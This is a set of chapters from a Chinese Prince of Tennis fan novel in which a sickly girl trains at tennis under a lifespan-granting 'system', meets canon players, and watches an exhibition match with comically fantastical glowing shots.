《就用网球系统来续命!》
7. 震撼
不出意外被拒绝了。
但忍足能理解,两人只是网友关系,他这事提得唐突,倘若她真的答应了,兴许他也会觉得不妥。
于是他应了好后,继续打字:[下次不用将告别说得这般郑重,假如你真的要离开了,给我再发朵鲜花就好(笑容.jpg),也算有始有终]
今晚已经得知她的情况基本稳定下来了,他说这话的时候也就少了很多负担。
消息发出后,忍足还思考了数秒,如果真的能够这样告别,算不算另外一种浪漫呢?
[好啊]
这次夕浔应得很快。
她拒绝浪漫君的时候倒是没有想那么多,单纯只是想到他人在东京,就已经开始PTSD了。
倒也不是对东京这座城市有意见——
行吧。
夕浔用力咬下一角糖果,有些不情不愿地承认,她短时间内确实不想再回去东京。
一想到每次为了去东京看病的艰辛历程,一想到住院后做的一系列检查、吃的药打的针……
她暂时对东京有点意见。
虽然也能让对方来神奈川,但这样容易暴露自己的住址范围,浪漫君也许没有恶意,但她还是得多长点心。
两人玩了几局游戏,时间很快就来到了二十三点十五分。
平日里浪漫君都是差不多玩到这个点下线的。
夕浔同对方告别,简单洗漱后也上床休息了。
今天久违地进行了运动训练,精神上难以消弭的倦意让她几乎沾枕即睡。
次日醒来的时候,夕浔感觉自己神清气爽到还可以再练几个小时。
脑海中系统的机械音适时道:【修复液中含有入睡后加速精力恢复的物质。】
哗啦啦的水声忽而停下。
拧上水龙头,夕浔饶有兴趣抬了下眼,镜中拢着薄雾的眸子无声晕开分深色。
她伸手将洗好的牙刷放回,拧干毛巾擦了把脸,一滴水珠擦着她曲线优越的脖颈滚落。
隔着毛巾闷沉些许的嗓音慵懒而沙哑,羽毛似的轻轻掠过水面。
“晓得啦。”
*
用过早饭,夕浔直奔离家最近的运动商店,在咨询了系统的建议后采购了一系列网球相关用品。
昨天为了携带方便,只购买了球拍,虽然俱乐部能够提供其他用品,但适合自己的球鞋、运动服和避震器、手胶等物件还是需要自己备好的。
【宿主昨天的训练不包含网球实战训练,但正式的训练和比赛中通常涉及大量侧向移动、急停、启动和滑步,挑选侧面加固、抓地力好的生胶底球鞋更能够保护脚踝,延长宿主的网球生涯。】
【安装在拍线交叉处的避震器,能够有效减少击球时球拍传递到手臂的震动感,对手肘比较友好,新手训练建议安排,免得训练过度造成手臂损伤。宿主根据球拍自行选择大小适合的避震器即可。】
夕浔根据系统提示,挑挑拣拣选好了一系列物品,将自己的网球包每个格子都安排得满满当当,就重新向俱乐部出发。
做完热身运动,在开始今天的挥拍训练前,系统再次向她强调了击球姿势的重要性。
【昨天宿主的挥拍训练效果尚可,但姿势上仍然有可以改进的地方。】
系统说着,幻化出一个网球选手的虚影,在她面前演示了击球准备姿势。
虚影回击来球的时候,面朝球网,双脚与肩同宽,膝盖微屈,身体略向前倾,重心落在前脚掌,拍面垂直于地面。
夕浔边看边用球拍模仿对方的动作。
引拍时目光注视来球方向,移动到预计落点位置后,以右脚为轴,左脚蹬地,身体向右侧旋转,转体时将拍托起与肩同高,由准备时的双手持拍转换为正手握拍,自然向后引拍,带动持拍手臂,手腕后伸、固定、向前,再向斜上方挥拍发力,将球击出。
没有球来,夕浔不需要进行大幅度的脚步移动,但在按照系统要求姿势固定好位置后,就开始了今天的挥拍训练。
今天起步的训练同昨天的基本相同,但系统增加了痛感纠正模式,在她姿势出现错误的时候,就会遇到无形的阻力,往错误方向继续发力,肌肉就会传来强烈刺痛感。
但一旦她改变回正确的姿势轨道,刺痛感又会凭空消失。
系统以近乎强横的方式纠正她的错误动作,迫使她在规避刺痛感的过程中,对正确姿势产生肌肉记忆,直到动作能够如刻入DNA般自然而然使出,再进行下个姿势的学习。
半小时后,大汗淋漓的夕浔放下球拍,抹了把汗,咕噜噜灌下半瓶水。
今天的训练比昨天更累些。
错误姿势的痛觉在她正常训练之外还增加了额外的体能消耗,哪怕她在失误后改正速度加快,偶尔失误一次,那难受程度也堪比她犯病的时候了。
系统例行公事夸赞道:【宿主辛苦了,进步很快。】
“有奖励吗?”
系统噎了一下:【无。】
夕浔摇头,盖上毛巾,不想同它多说。
系统见状找补道:【宿主开启网球学习的时间较晚,以这样的方式训练能够帮助你尽快赶上他人的进度,甚至超越。】
“好。”
夕浔低低应了声,扯下毛巾,银色长发散乱垂到身后,被她用发绳牢牢束起,雾蓝色眸子重新汇聚起焦点。
不用系统多说,她也知道相比于那些早早崭露头角、球龄数年的人而言,开学后即将升入国二的她,无疑是个后来者。
对于没有经验的新人而言,大部分国中的网球部通常会让学员从捡球挥拍训练开始做起,直到国二才有上场机会,如果她想要上场,就必须让自己提升的速度比他人还快。
没有奖励,也是意料之中。
反正多问一句她也不亏,要是真有就是赚了。
握紧球拍,夕浔重新走上场地。
这次是穿插的体能训练。
几组拉伸运动和跳跃运动交叉进行,让紧绷的肌肉逐渐放松下来后,继续进行挥拍训练。
经过修复液的调理,她的身体强度似乎比昨天更好了些,今天系统特别允许她多进行半小时的训练。
中间的时候,她离开俱乐部去吃了顿午饭,回来就被俱乐部的工作人员告知了一个噩耗。
“不好意思,雾岛小姐,8号球场在中午租赁的时候被破坏得比较严重,需要紧急维修,如果方便的话,我为您重新挑选一个球场可以吗?”
闻言,夕浔头上缓缓冒出一个问号。<
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p>她中场休息的时间含了午饭和回家小憩半小时的时间,为了不浪费钱就没有继续租借场地,但就两个小时的时间,上午好好的场地就被破坏到不能使用了吗?
网球杀伤力这么惊人的吗?
工作人员为难地看着眼前漂亮到惊人的女生陷入沉默,心里也不禁敲起鼓。
中午来了几个高中生模样的人租借球场两小时,他看他们也不像不良,就将正好空出来的8号球场借出,没想到球场回收的时候,却已经到了需要维修的地步。
虽然对方态度很好地表示一切损失都会承担,但8号球场是目前唯一空闲的封闭球场,这会回来的雾岛小姐估计只能选择公开球场了。
听了对方的解释,夕浔没太纠结,就同意了对方再为她选个公开场地的提议。
路过8号球场的时候,她还特意走进去瞧了下,想知道到底被破坏成了什么样子。
但她刚走进去,瞳孔却骤然收紧。
只见上午还平整的球场一侧出现了无数个深深浅浅的坑洞,黑黝黝得像数十个小型黑洞。
光是看着这残局,都不难想象球场到底经历了什么。
震撼。
不,震撼完全不足以形容夕浔此时的心情。
她微微睁圆了眼,下意识望向了球场边还在同经理交涉、明显是罪魁祸首的几人。
德川和也是被入江奏多和鬼十次郎拉出来的。
更确切地说,德川与鬼都是被入江奏多拉出来的。
难得有个周末能够出来放松下,两人看他近期训练黑洞的强度太高,入江就提议出去基地外面逛逛,向来在基地待惯的鬼也破天荒地没有拒绝,两人就拉着他一起出来。
早上几人乘坐班车去看了神奈川的海,又逛了附近的公园,按照入江的说法就是转换心情。
但即使是出来玩,他也还是想着网球的事情,于是三人吃过午饭,就近找了个俱乐部开了个球场继续进行训练。
许是转换心情真的有点作用,这次他通过打球前挥臂削减空间,终于成功使来球在半空停滞,只是落点却仍然不稳定。
也就有了场地上数十个大小不一的坑洞。
不管怎么说,能让球停滞确实是相当可喜的进步,回去基地后要继续沿着这个方向加大训练……
鬼十次郎还在同经理沟通赔偿事宜,德川和也握着球拍等在旁边,随手做着简单的挥拍训练,大脑发散思维,却忽而察觉到一道明显的目光。
那目光强烈到他无法忽视。
于是德川停下动作,顺着视线来源望去。
下一秒,他思绪却忍不住空白刹那。
站在出口处的少女是他言语难以形容的相貌出众,她一手攥着网球包背带,另一手平垂身侧,雾蓝色眸子在场地和他身侧的人之间来回转了几圈,最终落到他手中球拍上,露出了不可思议的表情。
去买饮料的入江奏多恰在此时从身后走来,拍了拍他肩膀,打算把橙汁递给他,却在发现德川的异样后,不经意朝他视线尽头瞥去一眼。
哦豁。
瞧见来人,入江在心里吹了声口哨,目光再度定格在德川愣神的表情上,镜片下柔和的眸中浮现戏谑笑意,转瞬即逝。
一见钟情剧本,有意思。
8. 橙汁
夕浔受到了一点来自网球世界的震撼。
她本来还只是怀疑地看向那边,直到发现三人中只有海蓝色头发的少年手拿球拍的时候,就完全确定了嫌疑人。
但在德川和也最开始尚没有发现她的注视之时,她便发现他正在做的挥拍训练,就是她辛辛苦苦练了一个上午的正手挥拍技术。
双脚与肩同宽,左肩向右侧旋转,极其干脆流畅的挥臂引拍,衣袂被周遭颤动的气流带起,球拍向前击出的时候明明是挥向空气,却让人感觉像有一颗黄色小球正顺着那完美的弧线丝滑飞出。
实在是,太优美了。
夕浔想到自己上午姿势错误时肌肉的刺痛感,再看对方这正确到堪称教科书拿尺量过的标准动作,不禁有些眼热。
她要是能做到这种程度,哪里会吃那么多苦头。
但一想到要做到这个地步,大概率会打出能将球场破坏成眼前局面的网球,夕浔就忍不住叹息。
要达到这种杀伤力——
还有的学。
系统察觉到她的情绪,出声安慰道:【宿主不必气馁,你的进步速度已经很快了。】
【到他那种程度呢?】
系统沉默了。
夕浔也沉默了。
片刻后,她继续在脑海中出声:【没事的,饭一口一口吃,路一步一步走,总会到罗马的。】
话音落下,夕浔再度抬眼,将对方的模样认真记下,便毫不犹豫离开了8号球场。
人不可能一口气到达顶峰,但提前见过山顶的风景,总能对未来多些向往。
从夕浔进入8号球场到离开,前后不超过半分钟,而目送夕浔离开球场的德川也已经注意到了身后的动静,他适时收回视线,神色无波无澜。
“谢谢前辈。”他顺手接过入江递来的饮料,右手仍握着球拍,保持着这个姿势用左手拧开了瓶盖。
满口橙汁咕噜噜灌进嘴里,冰凉的口感让德川和也头脑愈发冷静下来。
他随手合上瓶盖,不动声色观察了入江奏多的表情。
入江双手枕在脑后,黄色碎发掠过他的镜框上沿,又被细微的风流吹开,清晰地露出那双琥珀色的眼。
察觉到德川的视线,他眼睛弯成月牙,嘴里吐出的话语轻快而雀跃:“一见钟情了吗,少年?”
德川和也扯了扯唇角,语气带着极轻的无奈:“前辈……别开玩笑了。”
这个口吻——
他已经猜到入江前辈给他排了什么剧本了。
待鬼十次郎同经理商榷完毕,几人去缴纳赔偿费用的时候又路过了公开球场。
相貌出众的少女是人群中独特的风景线,旁边几个球场的人偶尔会投来若有似无的视线,只是慑于她自成一方世界的冷淡气场,也无人上前打扰。
这次不是隔着场地的遥遥相望,德川从球场旁边空地经过的时候,正好看到她在休息片刻后重新走上场地训练挥拍。
她的动作略显生涩。反手击球的要领是重心左移,身体向左侧旋转,使用东方式反手握拍,右脚往击球方向跨出呈“封闭式”步法,快速向后引拍,而后由下向上、向前挥拍。
脑海中下意识浮现正确的教程,又被他微摇了下头抛开。
德川看出她似乎还在从正手击球的姿势中不断往反手击球转变,重心尚在调整,动作中透着几分明显的不自然,但她又奇妙地总能在做出错误动作后迅速调整过来,简直就像有人拿着针追在身后一般。
新手吗?
应该算天赋很奇特的新手。
前面的鬼停下来喊了他一声,德川收回心中猜测,快步走上前,却没留意到入江奏多也没有跟上来。
入江在德川方才停留的位置多待了一会。
他饶有兴趣地朝场地内张望几秒,一眼就注意到了正在进行挥拍训练的女生。
初学者阶段,但适应速度却很快。
入江不用数秒就得出了和德川相差无几的结论,圆框眼镜下,那看似温良的琥珀色瞳中闪过微光。
几息后,他看着她在又一次调整后成功正确挥拍,轻轻呼出口气,才不急不忙抬步离开。
还是个很菜的新手。
入江双手背在身后压着不知从哪里变出来的球拍,低头的瞬间,唇角却微微向上。
算了,如果有下次相见,再来考虑排剧本的事吧。
专心致志于规避痛感的夕浔并没有注意到身后短暂停留过的两道目光,经历过最初使用反手挥拍的磨合期,她现在愈发得心应手了起来。
右肩带动向左侧旋转,脚步轻盈地随之小幅度调整,哪怕视线中并没有来球,仍然可以按照一定的节奏完成轨道内挥拍。
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这次上手的速度远比初时更快。
不知不觉间,失误时的强烈刺痛感已经许久不曾出现,夕浔全身心沉浸在重复不断的准备、引拍、挥击动作中,完全没有注意到时间的流逝。
系统察觉到她反手击球技能已经初步掌握,喊停了她,让她重新更换姿势。
迅速将握拍和挥拍技术学习后,下一步才是在实践中不断熟练这些技术。
今日训练任务完成时,系统发出“叮”的一声,提示寿命剩余天数又增加一天,夕浔心满意足收拍。
简单淋浴后换好衣服,她背上网球包准备离开。
虽然浑身酸痛难忍,但想到修复液的效果,再想想逐渐适应这种程度训练后的身体强度,就觉得一切也值得。
到缴费的时候,工作人员告知夕浔,已经有人帮她交付过训练费用了。
“是今天下午那三个人吗?”夕浔拧眉略一思索,很快便推出了可能对象。
工作人员愣了下:“……是的。”
本来他们已经同经理确定好了赔付金额,恰在此时又有路过的人提起雾岛小姐因为场地原因去了公开球场,今天下午公开场地的人流量因此大了些,那个冷淡帅哥便表示对方今天下午的训练费用由他们来承担,当作赔偿。
卷发帅哥还特意强调了不用主动告知对方。
但雾岛小姐是自己猜出来的,也不算他主动告知吧。
夕浔将三个人的面容在脑海过了遍,猜测他们可能是出于赔偿的心理,也没有过多纠结,只是出声道:“下次他们来的时候,麻烦帮我给他们一瓶橙汁和两瓶橘子汽水。”
她垂眸回忆几秒,又补充了句:“橙汁给蓝发的小哥。”
说完,她利落推出一千円给工作人员,很浅地笑了下:“剩下的归您,拜托了。”
这应该是首次见到雾岛小姐的笑容。
虽然转瞬即逝,但工作人员在此刻忽然就明白,为什么古时的君王能够为博美人一笑而亡国了。
什么时候晕晕乎乎应下他已经记不清了,再回神的时候,视线里只剩下她逐渐走远的背影。
他莫名就想起卷发帅哥走前留下的话。
“如果您不主动告知的话,我们下次还会来的。”
现在想想那个意味深长的笑容——
他是不是提前猜到了?
9. 善意
出了俱乐部,夕浔又前往超市,打算买点食物做晚餐。
超市在一个大型商场的旁边,夕浔路过的时候,甚至还看到商场上方的巨型显示屏正在锲而不舍地来回重复着比赛宣传,标题也起得很有冲击性。
“赛场新星池田雅vs联赛冠军山本里奈,16岁王座的终极试炼!”“冰与火の对决,风暴眼之战!”“新星池田雅力挑强将山本里奈,谁主胜负?”
夕浔匆匆扫过一眼,对编撰者的思路表示钦佩,然后扭头就毫不犹豫进了超市。
今天的番茄和蔬菜品相很好,她挑挑拣拣一番,又拿了几个鸡蛋。
晚上做个番茄炒蛋,蔬菜沙拉有点太清淡了,pass,再加个小炒肉盖饭……
买好蔬菜和肉,夕浔在脑海中构思着晚上的菜单,推着小车路过零食区。
这里的色彩远比其他区更生动。
琳琅满目的饮料瓶罐在灯光下折射出诱人的色彩,薯片和虾条的大包装袋紧密相接,巧克力棒和口香糖在货架上码出整齐的两排。
夕浔想起系统的提示,菜单构思计划停了片刻,顺手取了些小零食和巧克力放进去,便于以后剧烈运动的时候及时补充体力。
正想离开的时候,夕浔不经意瞥见货架顶部还放着包棉花糖,抬手拿了下来,余光就看到一个小男孩也直奔棉花糖而来。
她下意识在货架第二格的位置松开手。
棉花糖稳稳落回了货架上,原本面带急色的男孩不禁露出笑来,他几步跑上前,踮高脚取下那包棉花糖,还不忘礼貌朝夕浔道:“谢谢漂亮姐姐。”
“没事,”夕浔摆摆手,唇角扯开细微的弧度,“你看起来比我更期待它。”
“因为我哥好不容易才同意我买棉花糖。”红发小男孩笑容灿烂,说着说着却突然跳起来,视线稍稍越过夕浔,用力挥了挥手。
“哥,这里这里!”
直到此时,夕浔才注意到身后的脚步声,心下微讶。
他在那里多久了?
听到弟弟的呼唤,红发少年快步上前。
一阵糖果和松软面包的甜香伴着他的脚步带起风,从夕浔身侧倏忽掠过,连带着空气仿佛都浸着食物的芬芳。
夕浔猜测,他兴许是从烘焙区过来的。
丸井文太接过棉花糖,顺手揉了揉弟弟的头,声音还沁着笑:“肯定不会赖你的,放心吧。”
“谁让你双标惯了,自己买那么多糖,都不让我吃!”红发小男孩却不信他,据理力争。
丸井文太被这倒打一耙气得牙痒痒,伸手用力捏了下弟弟的脸:“……白痴笨也!你自己前段时间拔蛀牙疼得嗷嗷哭现在就忘了?”
理不直气不壮的小男孩秒怂,圆溜溜的眼睛转了圈,忽而软声道:“哥,我刚刚跑过来的时候看到同学了,我去和他打声招呼。”
话音刚落,他就忙不迭一溜烟跑远,就像身后有什么洪水猛兽追赶着。
被他这模样逗到,丸井文太摇头失笑,将棉花糖放进小推车,才回身想同夕浔道谢。
“谢谢……”
穿着休闲T恤和灰色长裤的红发少年阳光帅气,灰色夹克衫上的金属链子随着他动作叮当作响,转身之时,脸上洋溢的笑意灿烂得像初夏的太阳,散发着蓬勃的朝气,又不至于灼伤他人。
但那笑意在见到她时有片刻停滞。
与此同时,丸井文太心里掀起狂澜。
失策了!
他就该猜到,能让文也这小子说漂亮的女生压根不会超过三根手指头。
甚至其中还得算上亲情向的母亲大人。
可恶,这样的美貌也太犯规了吧!
尽管内心翻江倒海,丸井还是很快就调整好了面部表情,只是道谢后的话也紧跟着变成了无比亲切的“你也住这附近吗”?
夕浔很久没有遇见过这么热情的人了。
这并不是负面评价。
红发少年在得到她肯定的回复后,又注意到她背着网球包,话题就极其自然地引到了网球上面。
“反手姿势确实更多采用封闭式步法,因为这样对于非惯用手来说,发力效率更高,能把下肢和身体躯干的移动控制一定范围内,避免失误……”
吹着泡泡糖的少年瞧着不太靠谱,但实际上意外的敏锐,在网球上也颇有见解。
说到这里,他短暂松开了小推车,临时借用夕浔的球拍,示范了封闭式步法和开放式对于身体躯干转向发力的区别。
右脚跨过身体中线,侧身充分转肩,封闭身体角度,形成完美的发力框架,最大化转体发力效率,再朝后引拍、向前挥击而出。
一个相当流畅自然的单手反拍姿势,在他手臂摆动时带动气流的细微颤动,晃得夹克衫上的金属链条折射出粼粼的冷光。
夕浔还没开始学开放式步法挥拍,但从旁观的角度,她清晰地察觉到,封闭式步法能将身体旋转约束在侧向角度发力,避免髋部和肩膀的转动过早打开,更好地将力量积蓄到球拍击球的瞬间。
这样的限制,对于非惯用手而言,反而能够最大程度地保证击球的攻击性和深度。
与此同时,核心肌群收紧、下盘更稳定,也能更好地对抗来球的冲击力……
见她看着自己陷入沉思,丸井眸中闪过狡黠的光,摇了摇手指,露齿一笑:“够天才吧?”
“当然。”回过神,在网球道路上见谁都是前辈的夕浔果断点头。
眼里满满被夸赞后的熠熠神采,丸井文太站直身体,又嚼着泡泡糖含糊道:
“不管是单手反拍还是双手反拍,使用封闭式步法都能够相当程度上提高击球稳定性。单手反拍尤其如此,哪怕是平日训练得很熟练,在赛场的高压环境下,仍然有击球出界和方向未知的风险。”
在刚刚的聊天中,丸井已经得知她在网球上是彻底的新手,谈起打基础的话题,语气就不禁变得认真几分。
“反拍的最大缺陷就是非惯用手带来的不稳定性,所以虽然熟练后,双手反拍也可能根据场上需要改为半开放或者开放式步法,但新手肯定要先从封闭式步法打好基础,之后才好不断进步。”
绰号立海天才的丸井
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文太虽然很喜欢以巧取胜,但在新手期,也是一步一步扎实打好基础,才逐渐发挥带有个人特色的网球风格的。
从见面到现在基本都是热情笑容的少年忽而敛了笑,虽然表情仍很轻松,口吻却倏然严肃了些,连泡泡糖都不嚼了,这种难得的慎重让夕浔呼吸微顿。
她停下脚步,抬眼正撞进丸井文太清澈的紫眸中。
他瞳色是很浅的紫,笑时亮晶晶的,容易给人一种狡黠的感觉,但此时狡黠不复,倒是很有靠谱大哥的模样了。
很认真。
不能辜负这样善意的提醒。
心脏某处很细微地跳动了下,在丸井文太被看得愈发不自然前,夕浔唇瓣微动,轻声而坚定道:
“好,我记下了——”
她短暂停顿了下,连带着那轻缓的尾音也被拉长,却很快不再迟疑。
“谢谢。”
平宁而清泠的韵调像独特的序曲,氤得那双雾霭蓝般静谧疏离的眸漾开圈圈涟漪,似乎连眉眼都柔和了下来。
莫名的,就让人联想到春日枝头消融的第一捧雪。
微微出神之际,丸井文太忽然有些庆幸。
幸好文也不在这里。
不然,他的失态肯定会被那小子察觉的。
两人分别的时候,在丸井文太的要求下加了Line。
“有什么不懂的问题,都可以来问本天才~”
开朗的泡泡糖少年说完这话,留下帅气的背影,拎着满满一大袋零食同弟弟走远。
日色西斜,霞光逐渐侵蚀游云,瑰丽的橘金色与橙红色交织,将路面都染上斑斓的黄昏色调。
路口的灯“噔”一下由黄转绿,车流自动分拨般,部分径自驶向远方,留下没赶上黄灯尾声的车默默踩刹,停在白线前。
路口两侧的行人旋即倾泻而出。
斑马线上,红发男孩专门挑红绿灯提示牌后狭长的影子踩着,而身侧的哥哥左手拎着东西,还没忘不紧不松攥着他的手,就像牵着风筝的线,生怕他一不留神就奔向远方。
一大一小的背影在夕阳倒影中逐渐走远。
确实是个靠谱的哥哥啊。
站在原地的夕浔不知想到了什么,呼吸不自觉放轻了些。
直到目送他们离开视线范围,她才低头瞧了眼手机里新添加的联系人。
上面正好弹出一条最新消息。
[绝技天才:丸井文太,有什么问题,都可以来问本天才~(墨镜.emoji)]
[雾岛夕浔,请多指教。]
打完回复,修长指节按灭屏幕,夕浔眉眼不经意弯了弯。
方才被她刻意忽略的系统提示音在脑海中再次响起:
【检测到宿主强烈的信念,恭喜宿主成功解锁“基础不牢,地动山摇”系列任务,每当宿主在一项技术上熟练掌握度成为百分之百时,开启抽奖转盘一次。】
夕浔悠悠呼出口气,在半冷的空气中氤开模糊的白雾。
她的那句谢谢,不管从哪个角度来说——
都无比真情实感。
10. 玄幻
早春三月,正是万物复苏的时节。
神奈川作为位于东京都市圈的人口大县,经济条件优越,不时也会举办许多商业性质的运动赛事。
比如今天在川崎市举办的这场网球表演赛,就邀请了去年高中网球联赛冠军队伍的单打二山本里奈,和在春季锦标赛事上表现优异的超级新人池田雅。
表演赛不比正式比赛那样需要考虑过多输赢,为了商业收益,邀请的大部分都是名气实力兼具、外貌出众的选手。
周围的观众几乎坐满,耳侧的应援呐喊声在一方又下一球后更激烈了些。
夕浔带着鸭舌帽坐在看台上,目不转睛盯着场上的局势。
山本里奈是相当强势的进攻型选手,擅长快节奏、强攻击性的击球,而池田雅人如其名,是个打球风格优雅极具观赏性的选手。
看台离场上有点距离,两个选手都带着空顶帽遮阳,难以看清容貌,只能捕捉到网球在两个场地间快速来回。
已经系统学习了一个多月网球的夕浔现在仍是网球新手,却也算初步脱离完全菜鸟的境界了。
按部就班的系统性训练使她的身体逐渐适应了同龄人的练习强度,从最开始晨跑两圈都气喘吁吁进化到了慢跑一小时仍能面不改色,手臂和腿部肌肉力量也得到了加强。
俱乐部的教练不时同她进行训练赛,实践经验稳步增长的同时,她却苦于无法找到适合的同龄人一起训练。
在运动商店认识的凤君虽然乐于助人,但是他网球部的训练很繁重,夕浔也暂时不想去东京,拉练计划就此搁浅。
系统建议她先去观看正式比赛学习些经验,如果能恰好遇到同好,训练对象这不就来了。
夕浔觉得这提议很不错,恰好柚叶姐在商店买东西的时候送抽奖券,抽中了这场比赛的门票,知道她最近对网球感兴趣,就把门票送她了。
“山本!山本!”
看台的呼声再度高涨。
场上,山本里奈又打出一个强力ACE球,完美保住了自己的发球局。
池田雅平复了下呼吸,看了眼计分板,神情平静。
不知不觉间,场上比分已经来到了4:1,双方交换场地。
一个速度极快的平击球落在山本里奈的半场,她快步移动到落脚点,挥拍回击。
来回拉扯了几十次后,这分再度被山本里奈夺得。
接下来的几球都是如此。
比分已经来到了山本对池田5:1,只要拿下最后一局,这场比赛就是山本里奈获胜。
观众们齐齐发出欢呼声。
夕浔指尖支住下颌,露出了若有所思的表情。
“啧……接下来该池田发力翻盘了。”
旁边有人正好说出了她的心声,沉思中的夕浔颇有同感,下意识接道:“山本的体能在之前的对局中消耗严重。方才池田在发球局中,频繁穿插高吊球破坏山本的节奏,反手月亮球和几次预判穿越球又迫使山本在场上来回奔跑……”
从起初的快节奏连下几局,逐渐到每局都需要相持接近十分钟才能结束,对于擅长快速结束比赛的山本而言,应该是一个不那么美妙的信号。
换而言之,场上已经逐渐进入了池田雅的节奏。
话音落下,夕浔后知后觉意识到自己在同陌生人对话,微微偏过头。
旁边坐着个高出她半个头的黑发女生,黑色夹克白T恤的穿搭利落潇洒,戴着墨镜显得十分飒气,余光察觉到夕浔望来的视线,先露出个笑容:“哟~英雄所见略同嘛。”
她比夕浔高出半个头,转头的时候只瞧见她的鸭舌帽,却还是继续含笑道:“池田方才放的几次小球,山本差点没能赶上救球,接下来虽然是山本的发球局,但池田肯定能够破发。”
虽然两个人的比分悬殊,但前半场中池田雅消耗较少,而山本里奈在击出强攻击性发球和场上前后回球的过程中,反而耗费了更多体力,发球威力有所下降。
尽管逆风翻盘的最终结局还有的商榷,但比分绝对不可能6比1告结也是几乎板上钉钉的事情。
“欸?为什么会这样?”黑发女生有些疑惑夕浔的问题,片刻后她又想通什么似的,笑了起来,“看你解释得这么自然我还以为你打球挺久了,是第一次看表演赛吗?”
伪理论丰富·夕浔感觉身上中了一箭,只能沉默点头。
“哎呀,那难怪……”黑发女生一拍大腿,了然道,“果然是个没被表演赛套路荼毒过的。”
“一般来说表演赛都是出了大价钱请两边选手来的,观众也是付费门票进来的,不管是为了娱乐效果还是两边选手的人气,哪边低比分结局都不太可能出现啦。”
“虽然不至于到打假赛那么夸张,但为了更有看点和噱头,也为了对得起高价出场费,两边选手还是会尽量让比赛更有戏剧性些,也算是种共识吧。”
“只不过最终的结局,肯定还是各凭实力的。”
夕浔恍然大悟。
直到此时,黑发女生才瞧见她面容,脸上有片刻怔愣,好一会才道:“我看你对网球也挺感兴趣的,要不要交个朋友?”
夕浔正式认识了眼前名叫高野凉的女生,并同对方加了Line,两人继续观赛。
接下来的比赛也正如高野凉预料的那样,池田雅数次月亮球的深区压制,逼迫山本里奈回高飘球,正正落在池田的舒适区,被她利落回击,成功破发。
前半场刻意保留体力而非正面对抗,不仅是为了视觉效果,同时也是为了此刻能够乘胜追击。
比赛一口气来到抢七。
打到后几局的时候,山本里奈也转变了策略,适当放弃了过远距离回球的扑救,以加快体力的恢复。
在她回球的同时,还不忘压低重心,虽然略显费力,却借助了池田雅必须得分的心理,迫使她必须进行大量的旋转卸力,回球难度直线上升,加速池田的体力消耗。
真不愧是冠军队伍出来的。
夕浔看着擅长强攻击的山本里奈如此迅速地找回自己的节奏,内心对网球选手的认识又提高了不少。
持拍,压低重心观望,随球上网击出削球,难以预判落点的球落到池田雅的半场,被她用力击回。
进入抢七后,两人的状态同方才又变得有些不一样了。
夕浔一时难以描述这种感
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觉,但如果说方才打到后期的两人看起来只剩下一格电的话,那此时的两人就像重新恢复了满电,脸上带着熠熠神采。
没等她想明白,下一秒,她就发现池田雅原本就惊人的发球速度更快了,甚至在她挥拍出击后,子弹般弹射到对方场内的球,仿佛都在发光。
而当山本里奈击回这记发光球的时候,整个球更是散发出了难以忽视的金光,携带着极为强悍的破坏力横穿球场,以池田无法回击的力道、无法回击的角度,完美压在了对角线上,又砰的弹飞。
看台上顿时“哇”声一片。
夕浔失神瞪大了眼睛,下意识地“啊?”了声后,脑海中忽然冒出个大大的问号。
等等,网球会发光——
这合理吗?
而且是等到最后的抢七时刻才展现出这样的实力,那难道她们之前在打放水球吗?
夕浔陷入沉思。
身边的高野凉已经全神贯注地开始分析起了这球:“通过球体高速旋转时激发环状磁场,当球体旋转速度高到与视网膜刷新率同步的状态时,在给击球施加巨大威力的同时,会形成虚假的光带,看起来就像网球在发光一样……”
夕浔:“……”
你确定旋转速度高到与视网膜刷新率同步状态的球是正常高中女生能够打出来的吗?
夕浔困惑。
夕浔沉默。
夕浔大感震撼。
她忽然后知后觉意识到,难怪之前在俱乐部遇到的蓝发男生能够打出把球场击出坑洞的网球。
网球都能发光了,把球场砸出个洞算什么。
脑海中的系统“叮”一声发出提醒:
【恭喜宿主发现真正的网球世界!请宿主不用担心,只要勤加练习,宿主也终有一天能够打出这样的网球,愿宿主早日打出威力球,在网球道路上迈入广阔天地。】
夕浔瞳孔地震。
她,未来能打出这样的球?
这世界果然是个唯心主义世界吧。
旁边高野凉的剖析还在继续。
“不过这样的球由于施加的力度和旋转相当强劲,在击出的时候会给手臂带来沉重的负担,在一场比赛中不能使用太多次,但能看到这样的技术,这票价也值了。”
酣畅淋漓的观球后,高野凉终于想起来旁边的少女已经有段时间没有出声了,不禁朝旁边望了眼。
戴着鸭舌帽的银发少女是她从没见过的好看,雾霭蓝的眼睛很容易让人联想到春日飘摇的雨丝,只是现在那张出彩到令人失语的脸庞上毫无表情。
高野凉忍不住伸手在她面前挥了挥:“雾岛?”
下一秒,只见她眸子微微动了动,像是重新汇聚起了焦点,淡定道:
“啊,这球打得很好。”
“池田的弹弓式上旋发球为球赋予了超量旋转,山本的回击又再次增强了高速旋转的网球威力,制造出的临界转速正好契合使球速达到视网膜捕捉信息缺口的点,再加上正午时阳光正盛,人脑想象力自动利用外界环境信息填补了这一缺口,就产生了球仿佛在发光的幻觉……”
救命,她到底在为这个玄幻球解释什么?
11.人才
比赛的结果是山本里奈获胜。
最后一球以山本恢复力量后的平击炮弹球结束。
后半场体力消耗严重的池田雅已经无力回击这个力量十足的球,甚至接到球的时候,她还很惊讶地抬头看向对手,似是意外到了赛末点山本还能打出这样的球。
裁判哨声吹响,全场欢呼。
尽管前期宣传似乎把两个人描述得水火不容,但比赛结束后两人还是很心平气和地握手、告别。
眼见两个选手下了赛场,高野凉打算去找山本里奈。
“山本前辈是我的直系学姐呀。”夕浔疑惑之际,高野伸手摘下墨镜,露出爽朗的笑,“后辈去找前辈庆贺很正常吧。”
“怎么样,要不要一起去?”她提出很有诱惑力的提议。
夕浔想,肯定是高野方才对山本没有用敬语,她才完全没有往那方面想过。
没有犹豫,夕浔点点头:“去。”
能和这种水平的选手近距离接触,哪怕只能学到一点东西,也完全值了。
在后台出口处找到山本里奈的时候,她正和池田有说有笑地往外走,瞧见高野还抬手打了个招呼:“你来了。”
而后两人的视线就越过了高野,落在了在高野旁边的夕浔身上,山本率先开口:“这是……?”
好漂亮的女生,难道这是高野拐来的后辈?
但是看上去比起打网球好像更适合走偶像路线啊。
几息间,山本里奈心中飘过无数想法,面上却只是笑眯眯等待高野的回答。
“雾岛夕浔,刚才在看台遇到的朋友,对网球挺感兴趣的。”
一句话,直接就给夕浔从刚认识的陌生人升格成了重逢的友人,夕浔为这晋级速度感到讶异,但还是露出笑容:“两位前辈好,方才的比赛很精彩。”
